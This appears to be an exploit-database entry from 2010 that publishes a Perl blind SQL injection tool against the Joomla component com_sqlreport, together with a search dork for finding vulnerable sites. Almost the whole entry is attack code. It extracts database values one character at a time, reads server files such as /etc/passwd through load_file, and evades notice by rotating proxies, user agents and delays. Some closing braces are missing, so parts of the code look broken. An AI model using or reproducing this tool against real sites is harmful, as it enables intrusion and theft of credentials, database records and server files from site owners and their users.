发布 2010-02-23 漏洞条目

Joomla! Component user_id com_sqlreport – Blind SQL Injection

Exploit Source

==============================================================================

[»]Joomla Component user_id com_sqlreport Blind SQL Injection Vulnerability

==============================================================================

[»] Script: [Joomla]

[»] Language: [ PHP ]

[»] Founder: [ Snakespc Email:super_cristal@hotmail.com - Site:sec-war.com/cc> ]

[»] Greetz to:[ sec-warTeaM, PrEdAtOr ,alnjm33 >>> All My Mamber >> sec-war.com/cc ]

[»] Dork:inurl:"com_sqlreport"

[»]

###########################################################################

===[ Exploit ]===POC Blind Joomla (user_id) com_sqlreport >>>>Note::Placés dans un dossier C:\Perl\bin\snakespc.pl

###########################################################################

#!/usr/bin/perl

use LWP::UserAgent;

use Getopt::Long;

use IO::Handle;

use strict;

$| = 1;

###############################################################################

my $default_debug = 0;

my $default_length = 32;

my $default_method = "GET";

my $default_time = 0;

my $version = "1.1";

my $default_useragent = "bsqlbf $version";

my $default_dict = "dict.txt";

my $default_sql = "version()";

###############################################################################

$| = 1;

my ($args, $abc, $solution);

my ($string, $char, @dic);

my (%vars, @varsb);

my ($lastvar, $lastval);

my ($scheme, $authority, $path, $query, $fragment);

my $hits = 0;

my $usedict = 0;

my $amatch = 0;

my ($ua,$req);

###############################################################################

#Define GetOpt:

my ($url, $sql, $time, $rtime, $match, $uagent, $charset, $debug);

my ($proxy, $proxy_user, $proxy_pass,$rproxy, $ruagent);

my ($dict, $start, $length, $method, $cookie,$blind);

my ($help, $bincharset, $get, $nodict);

my $options = GetOptions (

'help!' => \$help,

'url=s' => \$url,

'get=s' => \$get,

'sql=s' => \$sql,

'blind=s' => \$blind,

'match=s' => \$match,

'charset=s' => \$charset,

'start=s' => \$start,

'length=s' => \$length,

'dict=s' => \$dict,

'method=s' => \$method,

'uagent=s' => \$uagent,

'ruagent=s' => \$ruagent,

'cookie=s' => \$cookie,

'proxy=s' => \$proxy,

'proxy_user=s' => \$proxy_user,

'proxy_pass=s' => \$proxy_pass,

'rproxy=s' => \$rproxy,

'debug!' => \$debug,

'rtime=s' => \$rtime,

'time=i' => \$time );

&help unless ($url);

&help if $help eq 1;

#########################################################################

# Default Options.

$abc = charset();

$uagent ||= $default_useragent;

$debug ||= $default_debug;

$length ||= $default_length;

$solution ||= $start;

$method ||= $default_method;

$sql ||= $default_sql;

$time ||= $default_time;

&createlwp();

&parseurl();

if ( ! defined($blind)) {

$lastvar = $varsb[$#varsb];

$lastval = $vars{$lastvar};

} else {

$lastvar = $blind;

$lastval = $vars{$blind};

}

if (defined($cookie)) { &cookie() }

if (!$match) {

print "\nTrying to find a match string...\n" if $debug == 1;

$amatch = "1";

&auto_match();

}

&banner();

&httpintro();

if ( ! $get) { &sqlget() } else { &fileget() }

sub fileget {

#ord(MID(compress(load_file(0xfilename)),1,1))

$get =~ m,.*/(.*),;

my $lget = $1;

my $rsize = $start + 1;

if (-e "$lget" && ! $start) {

$rsize = -s "$lget";

print "Error: file ./$lget exists.\n";

print "You can erase or resume it with: -start $rsize\n";

exit 1

}

my ($fstr,$i);

my $fsize = "";

$fstr = unpack("H*","$get");

# GET size of file.

$abc = "0123456789";

for ($i=1;$i<=15;$i++) {

my $furl;

my $find = 0;

foreach (split/ */,$abc) {

$find = 0;

$char = ord();

$string = " and mid(length(load_file(0x$fstr)),$i,1)=char($char)";

if (lc($method) eq "post") {

$vars{$lastvar} = $lastval . $string;

}

$furl = $url;

$furl =~ s/($lastvar=$lastval)/$1$string/;

&createlwp if $rproxy || $ruagent;

my $html=fetch("$furl");

$hits++;

foreach (split(/\n/,$html)) {

if (/\Q$match\E/) {

my $asc=chr($char);

$fsize .= $asc;

$find = 1;

}

last if $find == 1;

}

last if $find == 1;

}

last if $find == 0;

}

if ($fsize < "1") { print "Error: file not found, no permissions or ... who knows\n"; exit 1 }

# starting ..

$length = "$fsize bytes";

$abc = "getfile [256]";

$sql = "load_file($get)";

&bsqlintro();

# Get file

open FILE, ">>$lget";

FILE->autoflush(1);

print "\n--- BEGIN ---\n";

my ($i,$b,$fcontent);

$rsize = 1 if $rsize < 1;

for ($i=$rsize;$i<=$fsize+1;$i++) {

my $find = 0;

my ($furl, $b_start, $b_end, $z);

for ($z=0;$z<272;$z+=16) {

my $zz = $z + 16;

$string = " and ord(mid(load_file(0x$fstr),$i,1))>=$z and ord(mid(load_file(0x$fstr),$i,1))<=$zz";

if (lc($method) eq "post") {

$vars{$lastvar} = $lastval . $string;

}

$furl = $url;

$furl =~ s/($lastvar=$lastval)/$1$string/;

&createlwp if $rproxy || $ruagent;

my $html=fetch("$furl");

$hits++;

foreach (split(/\n/,$html)) {

if (/\Q$match\E/) {

$b_start = $z;

$b_end = $z + 16;

$find = 1;

}

last if $find == 1;

}

last if $find == 1;

}

print "$fcontent";

for ($b=$b_start;$b<=$b_end;$b++) {

$find = 0;

$string = " and mid(load_file(0x$fstr),$i,1)=char($b)";

if (lc($method) eq "post") {

$vars{$lastvar} = $lastval . $string;

}

$furl = $url;

$furl =~ s/($lastvar=$lastval)/$1$string/;

&createlwp if $rproxy || $ruagent;

my $html=fetch("$furl");

$hits++;

foreach (split(/\n/,$html)) {

if (/\Q$match\E/) {

$fcontent = pack("C*","$b");

print FILE "$fcontent";

$find = 1;

}

last if $find == 1;

}

last if $find == 1;

}

print "\n--- END ---\n";

close FILE;

$solution = "success";

}

sub sqlget {

&bsqlintro();

$dict ||= $default_dict;

open DICT,"$dict"; @dic=<DICT>; close DICT;

my $i;

$nodict = 0;

for ($i=length($start)+1;$i<=$length;$i++) {

my $furl;

my $find = 0;

$abc = charset();

&bsqlintro if $debug == 1;

print "\r trying: $solution ";

foreach (split/ */,$abc) {

$find = 0;

$char = ord();

$string = " AND MID($sql,$i,1)=CHAR($char)";

if (lc($method) eq "post") {

$vars{$lastvar} = $lastval . $string;

}

print "\x08$_";

$furl = $url;

$furl =~ s/($lastvar=$lastval)/$1$string/;

&createlwp if $rproxy || $ruagent;

my $html=fetch("$furl");

$hits++;

foreach (split(/\n/,$html)) {

if (/\Q$match\E/) {

my $asc=chr($char);

$solution .= $asc;

$find = 1;

}

last if $find == 1;

}

last if $find == 1;

}

if ($usedict ne 0 && $find eq 0) { $nodict=1; $i--; }

if ($find eq "0" && $usedict eq "0") { last; };

}

&result();

#########################################################################

sub httpintro {

my ($strcookie, $strproxy, $struagent, $strtime, $i);

print "--[ http options ]"; print "-"x62; print "\n";

printf ("%12s %-8s %11s %-20s\n","schema:",$scheme,"host:",$authority);

if ($ruagent) { $struagent="rnd.file:$ruagent" } else { $struagent = $uagent }

printf ("%12s %-8s %11s %-20s\n","method:",uc($method),"useragent:",$struagent);

printf ("%12s %-50s\n","path:", $path);

foreach (keys %vars) {

$i++;

printf ("%12s %-15s = %-40s\n","arg[$i]:",$_,$vars{$_});

}

if (! $cookie) { $strcookie="(null)" } else { $strcookie = $cookie; }

printf ("%12s %-50s\n","cookies:",$strcookie);

if (! $proxy && !$rproxy) { $strproxy="(null)" } else { $strproxy = $proxy; }

if ($rproxy) { $strproxy = "rnd.file:$rproxy" }

printf ("%12s %-50s\n","proxy_host:",$strproxy);

if (! $proxy_user) { $strproxy="(null)" } else { $strproxy = $proxy_user; }

# timing

if (! $time && !$rtime) { $strtime="0sec (default)" }

if ( $time == 0) { $strtime="0 sec (default)" }

if ( $time == 1) { $strtime="15 secs" }

if ( $time == 2) { $strtime="5 mins" }

if ($rtime) { $strtime = "rnd.time:$rtime" }

printf ("%12s %-50s\n","time:",$strtime);

}

sub bsqlintro {

my ($strstart, $strblind, $strlen, $strmatch, $strsql);

print "\n--[ blind sql injection options ]"; print "-"x47; print "\n";

if (! $start) { $strstart = "(null)"; } else { $strstart = $start; }

if (! $blind) { $strblind = "(last) $lastvar"; } else { $strblind = $blind; }

printf ("%12s %-15s %11s %-20s\n","blind:",$strblind,"start:",$strstart);

if ($length eq $default_length) { $strlen = "$length (default)" } else { $strlen = $length; }

if ($sql eq $default_sql) { $strsql = "$sql (default)"; } else { $strsql = $sql; }

printf ("%12s %-15s %11s %-20s\n","length:",$strlen,"sql:",$strsql);

printf ("%12s %-50s\n","charset:",$abc);

if ($amatch eq 1) { $strmatch = "auto match:" } else { $strmatch = "match:"; }

#printf ("%12s %-60s\n","$strmatch",$match);

print " $strmatch $match\n";

print "-"x80; print "\n\n";

}

#########################################################################

sub createlwp {

my $proxyc;

&getproxy;

&getuagent if $ruagent;

LWP::Debug::level('+') if $debug gt 3;

$ua = new LWP::UserAgent(

cookie_jar=> { file => "$$.cookie" });

$ua->agent("$uagent");

if (defined($proxy_user) && defined($proxy_pass)) {

my ($pscheme, $pauthority, $ppath, $pquery, $pfragment) =

$proxy =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;

$proxyc = $pscheme."://".$proxy_user.":".$proxy_pass."@".$pauthority;

} else { $proxyc = $proxy; }

$ua->proxy(['http'] => $proxyc) if $proxy;

undef $proxy if $rproxy;

undef $uagent if $ruagent;

}

sub cookie {

# Cookies check

if ($cookie || $cookie =~ /; /) {

foreach my $c (split /;/, $cookie) {

my ($a,$b) = split /=/, $c;

if ( ! $a || ! $b ) { die "Wrong cookie value. Use -h for help\n"; }

}

sub parseurl {

###############################################################################

# Official Regexp to parse URI. Thank you somebody.

($scheme, $authority, $path, $query, $fragment) =

$url =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;

# Parse args of URI into %vars and @varsb.

foreach my $varval (split /&/, $query) {

my ($var, $val) = split /=/, $varval;

$vars{$var} = $val;

push(@varsb, $var);

}

# Define CHARSET to use. Dictionary /// (TODO: fix ugly code)

sub charset {

if ($hits ne 0 && $nodict eq 0) {

my (%tmp,@b,$foo); undef %tmp; undef @b; undef $abc;

foreach my $line (@dic) {

chomp $line;

if ($line =~ /\Q$solution\E/ && $line !~ /^#/) {

$foo = $line; $foo =~ s/\Q$solution\E//;

foreach ((split/ */,$foo)) {

if ($tmp{$_} ne "1" ) {

$tmp{$_} = "1"; push (@b,$_);

}

if ($#b >= 0) {

foreach my $c (@b) { $abc .=$c;}

$usedict = $abc;

print "\nUsing a dictionary with this charset: $abc\n" if $debug == 1;

} else {

$abc = chardefault()

}

} else {

$abc = chardefault()

}

return $abc;

}

sub chardefault {

my $tmp;

$abc = $charset;

if (lc($charset) eq "md5") {

$abc = "abcdef0123456789\$.";

} elsif (lc($charset) eq "num") {

$abc = "0123456789";

} elsif (lc($charset) eq "all" || ! $charset) {

$abc = "abcdefghijklmnopqrstuvwxyz0123456789\$.:-_()[]{}º@=/\\|#?¿&·!<>ñÑ";

}

# If a dictionary has been used before, remove chars from current charset

if ($usedict ne 0) {

foreach (split(/ */, $usedict)) {

$abc =~ s/$_//;

}

$usedict = 0;

return $abc;

}

sub auto_match {

$match = fmatch("$url");

}

#########################################################################

# Show options at running:

sub banner {

print "\n //com_sqlreport Blind SQL injection brute force.\n";

print " // super_cristal\@hotmail.com / http://www.sec-war.com\n\n";

}

#########################################################################

# Get differences in HTML

sub fmatch {

my ($ok,$rtrn);

my ($furla, $furlb) = ($_[0], $_[0]);

my ($html_a, $html_b);

if (lc($method) eq "get") {

$furla =~ s/($lastvar=$lastval)/$1 AND 1=1/;

$furlb =~ s/($lastvar=$lastval)/$1 AND 1=0/;

$html_a = fetch("$furla");

$html_b = fetch("$furlb");

} elsif (lc($method) eq "post") {

$vars{$lastvar} = $lastval . " AND 1=1";

$html_a = fetch("$furla");

$vars{$lastvar} = $lastval . " AND 1=0";

$html_b = fetch("$furla");

$vars{$lastvar} = $lastval;

}

my @h_a = split(/\n/,$html_a);

my @h_b = split(/\n/,$html_b);

foreach my $a (@h_a) {

$ok = 0;

if ($a =~ /\w/) {

foreach (@h_b) {

if ($a eq $_) {$ok = 1; }

}

} else { $ok = 1; }

$rtrn = $a;

last if $ok ne 1;

}

return $rtrn;

}

#########################################################################

# Fetch HTML from WWW

sub fetch {

my $secs;

if ($time == 0) { $secs = 0 }

elsif ($time == 1) { $secs = 15 }

elsif ($time == 2) { $secs = 300 }

if ($rtime =~ /\d*-\d*/ && $time == 0) {

my ($l,$p) = $rtime =~ m/(\d+-\d+)/;

srand; $secs = int(rand($p-$l+1))+$l;

} elsif ($rtime =~ /\d*-\d*/ && $time != 0) {

print "You can't run with -time and -rtime. See -help.\n";

exit 1;

}

sleep $secs;

my $res;

if (lc($method) eq "get") {

my $fetch = $_[0];

if ($cookie) {

$res = $ua->get("$fetch", Cookie => "$cookie");

} elsif (!$cookie) {

$res = $ua->get("$fetch");

}

} elsif (lc($method) eq "post") {

my($s, $a, $p, $q, $f) =

$url=~m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;

my $fetch = "$s://$a".$p;

if ($cookie) {

$res = $ua->post("$fetch",\%vars, Cookie => "$cookie");

} elsif (!$cookie) {

$res = $ua->post("$fetch",\%vars);

}

} else {

die "Wrong httpd method. Use -h for help\n";

}

my $html = $res->content();

return $html;

}

sub getproxy {

if ($rproxy && $proxy !~ /http/) {

my @lproxy;

open PROXY, $rproxy or die "Can't open file: $rproxy\n";

while(<PROXY>) { push(@lproxy,$_) if ! /^#/ }

close PROXY;

srand; my $ind = rand @lproxy;

$proxy = $lproxy[$ind];

} elsif ($rproxy && $proxy =~ /http/) {

print "You can't run with -proxy and -rproxy. See -help.\n";

exit 1;

}

sub getuagent {

my @uproxy;

open UAGENT, $ruagent or die "Can't open file: $ruagent\n";

while(<UAGENT>) { push(@uproxy,$_) if ! /^#/ }

close UAGENT;

srand; my $ind = rand @uproxy;

$uagent = $uproxy[$ind];

chop($uagent);

}

sub result {

print "\r results: \n" .

" $sql = $solution\n" if length($solution) > 0;

print " total hits: $hits\n";

}

sub help {

&banner();

print " usage: $0 <-url http://www.host.com/path/script.php?foo=bar> [options]\n";

print "\n options:\n";

print " -sql:\t\tvalid SQL syntax to get; connection_id(), database(),\n";

print "\t\tsystem_user(), session_user(), current_user(), last_insert_id(),\n";

print "\t\tuser() or all data available in the requested query, for\n";

print "\t\texample: user.password. Default: version()\n";

print " -blind:\tparameter to inject sql. Default is last value of url\n";

print " -match:\tstring to match in valid query, Default is try to get auto\n";

print " -charset:\tcharset to use. Default is all. Others charsets supported:\n";

print " \tall:\tabcdefghijklmnopqrstuvwxyz0123456789\$.-_()[]{}º@=/\\|#?¿&·!<>ñÑ\n";

print " \tnum:\t0123456789\n";

print " \tmd5:\tabcdef0123456789\$\n";

print " \tcustom:\tyour custom charset, for example: \"abc0123\"\n";

print " -start:\tif you know the beginning of the string, use it.\n";

print " -length:\tmaximum length of value. Default is $default_length.\n";

print " -dict:\t\tuse dictionary for improve speed. Default is dict.txt\n";

print " -time:\t\ttimer options:\n";

print " \t0:\tdont wait. Default option.\n";

print " \t1:\twait 15 seconds\n";

print " \t2:\twait 5 minutes\n";

print " -rtime:\twait random seconds, for example: \"10-20\".\n";

print " -method:\thttp method to use; get or post. Default is $default_method.\n";

print " -uagent:\thttp UserAgent header to use. Default is $default_useragent\n";

print " -ruagent:\tfile with random http UserAgent header to use.\n";

print " -cookie:\thttp cookie header to use\n";

print " -rproxy:\tuse random http proxy from file list.\n";

print " -proxy:\tuse proxy http. Syntax: -proxy=http://proxy:port/\n";

print " -proxy_user:\tproxy http user\n";

print " -proxy_pass:\tproxy http password\n";

print "\n examples:\n bash# $0 -url http://www.somehost.com/blah.php?u=5 -blind u -sql \"user()\"\n";

print " bash# $0 -url http://www.buggy.com/bug.php?r=514&p=3 -get \"/etc/passwd\"\n";

exit(1);

}

作者: snakespc
日期: 2010-02-23
类别: webapps
平台: php

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